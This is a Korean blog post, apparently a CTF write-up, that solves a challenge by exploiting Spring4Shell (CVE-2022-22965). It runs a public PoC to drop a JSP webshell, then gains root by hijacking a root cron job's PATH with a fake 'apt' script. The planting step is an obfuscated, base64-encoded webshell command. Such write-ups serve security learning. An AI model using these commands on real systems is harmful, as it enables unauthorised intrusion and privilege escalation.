티스토리 뷰

728x90
반응형

문제 설명

문제 사이트에 접속해보면 나오는 첫 페이지 모습입니다. 

 

문제 풀이

문제 사이트 페이지 최ㅣ 하단에 보면 IP주소와 도메인 주소 간의 매핑 설정이 보입니다. 이를 설정해주기 위해서 저는 제 컴퓨터에 hosts 파일(C:\Windows\System32\drivers\etc\hosts)을 변경해주었습니다.

# localhost name resolution is handled within DNS itself.
#	127.0.0.1       localhost
#	::1             localhost
34.65.33.171 tube.com
34.65.33.171 legacy.tube.com

그리고 위와 같이 설정한 뒤 legacy.tube.com 에 접속해보았습니다.

그랬더니 뭔가 이전의 페이지와는 다르게 alert 창이 뜨면서 뭐라뭐라하고 있습니다.

그리고 소스코드 보기 했을 때 최다하단에 주석문으로 /info 경로가 있다고 알려주고 있습니다.

그래서 바로 /info 경로에 접근해보았습니다.

그랬더니 spring-boot 로 만들어져있고, 22년도 3월 30일자가 마지막으로 업데이트한 버전이라고 하는 듯합니다.

뭔가 느낌이 쎄한게 딱봐도 최근에 있었던 Spring4Shell(CVE-2022-22965) 취약점인 듯 했습니다.

 

본 취약점은 제가 알기로 정확히 2022년 3월 31일 날짜에 Spring 개발자에 의해 패치된 것으로 알고 있습니다.

Spring4Shell 취약점은 Spring Core Framework에서 특정 조건 하에 Remote Code Execution(RCE)이 가능한 취약점이며 Spring Framework가 매개변수를 바인딩하는 과정에서 class 객체가 노출되어 발생합니다.

 

그리고 공격자는 해당 class 객체에서 로깅 관련 기능을 사용해 webshell 코드를 업로드하여 명령어를 실행할 수 있습니다.

 

취약 조건

  • Java 9 이상
  • Apache Tomcat 서버
  • Spring Framework 버전 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전
  • spring-webmvc 또는 spring-webflux 종속성
  • WAR 형태로 패키징

위와 같이 취약한 조건이 비교적 까다로워 본 문제에서 나오는 환경이 매우 일치하는 환경인지라 다른 취약점으로 생각할 겨를이 없었습니다.

 

문제를 풀기 전에 참고한 Spring4Shell 자료 링크 모음입니다.

https://unit42.paloaltonetworks.com/cve-2022-22965-springshell/

 

CVE-2022-22965: Spring Core Remote Code Execution Vulnerability Exploited In the Wild (SpringShell) (Updated)

CVE-2022-22965, aka SpringShell, is a remote code execution vulnerability in the Spring Framework. We provide a root cause analysis and mitigations.

unit42.paloaltonetworks.com

https://www.extrahop.com/company/blog/2022/a-technical-analysis-of-how-spring4shell-works/

 

How the Spring4Shell Zero-Day Vulnerability Works | ExtraHop

Learn how the Spring4Shell zero-day vulnerability works and how it could be weaponized by attackers.

www.extrahop.com

https://github.com/lunasec-io/lunasec/blob/master/docs/blog/2022-03-30-spring-core-rce.mdx#who-is-impacted

 

GitHub - lunasec-io/lunasec: LunaSec - Open Source AppSec platform that automatically notifies you the next time vulnerabilities

LunaSec - Open Source AppSec platform that automatically notifies you the next time vulnerabilities like Log4Shell or node-ipc happen. Track your dependencies and builds in a centralized service. G...

github.com

 

KISA 에서도 소개될 정도로 국내에서도 잘 알려진 취약점입니다.

https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66592 

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

 

문제 풀이에 있어서 참고한 PoC 는 아래와 같습니다.

https://github.com/TheGejr/SpringShell

 

GitHub - TheGejr/SpringShell: Spring4Shell - Spring Core RCE - CVE-2022-22965

Spring4Shell - Spring Core RCE - CVE-2022-22965. Contribute to TheGejr/SpringShell development by creating an account on GitHub.

github.com

 

문제 사이트에 이제 위 PoC로 webshell을 업로드해봅니다.

>python exploit.py --url http://legacy.tube.com:49519/
The vulnerability exists, the shell address is :http://legacy.tube.com:49519/tomcatwar.jsp?pwd=j&cmd=whoami

그럼 아래와 같이 ctf 라는 결과가 나오는 것을 볼 수 있습니다.

그리고 ls -al 명령을 수행해봤을 때 user.flag 파일을 확인할 수 있었습니다.

그리고 user.flag 는 아래와 같이 출력하여 확인할 수 있습니다.

 

위와 같이해서 user.flag 까지는 쉽게 가져올 수 있었습니다. 다만 문제는 root.flag 도 구해와야한다는 것이었는데, 다른 분이 작성한 writeup을 보면 cronjob 에 정의된 설정을 변경해서 공격자가 원하는 명령, 즉 root 권한을 탈취하는 것을 수행하도록 변경할 수 있게 하는 방법이 있었습니다.

 

우선 cronjob 설정을 조회하기 위해서 cat /etc/cron.d/update 명령을 수행하면 아래 내용을 확인해볼 수 있습니다.

SHELL=/bin/sh
PATH=/var/tmp:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

* * * * * root apt update >> /var/log/cron.log
#

 

그리고 root 권한으로 PATH 경로들에 있는 apt 파일의 내용을 수행하는 것을 확인할 수 있습니다.

이에 따라 /var/tmp 경로에 임의의 파일인 apt 파일을 만들고 그 내용물로 아래와 같이 작성해주면 됩니다.

#!/bin/sh
chmod -R 777 /root

그럼 이제 cronjob 은 update할 때 /root 경로의 권한을 777로 모든 계정 허용으로 설정해줄 것입니다.

webshell 에는 다음과 같이 명령어를 입력해주었습니다.

view-source:legacy.tube.com:49519/tomcatwar.jsp?pwd=j&cmd=bash+-c+%24%40%7Cbash+0+echo+cd+/var/tmp/;echo+IyEvYmluL3NoCmNobW9kIC1SIDc3NyAvcm9vdAo=%7cbase64+-d%3Eapt;chmod+%2bx+apt;ls+-la

 

그리고 이제 ls -al /root 를 하게 되면 아래와 같이 모든 내용을 조회할 수 있음을 알 수 있습니다.

마지막으로 root.flag 의 내용은 아래와 같습니다.

 

 

 

- 끝 -

728x90
반응형
댓글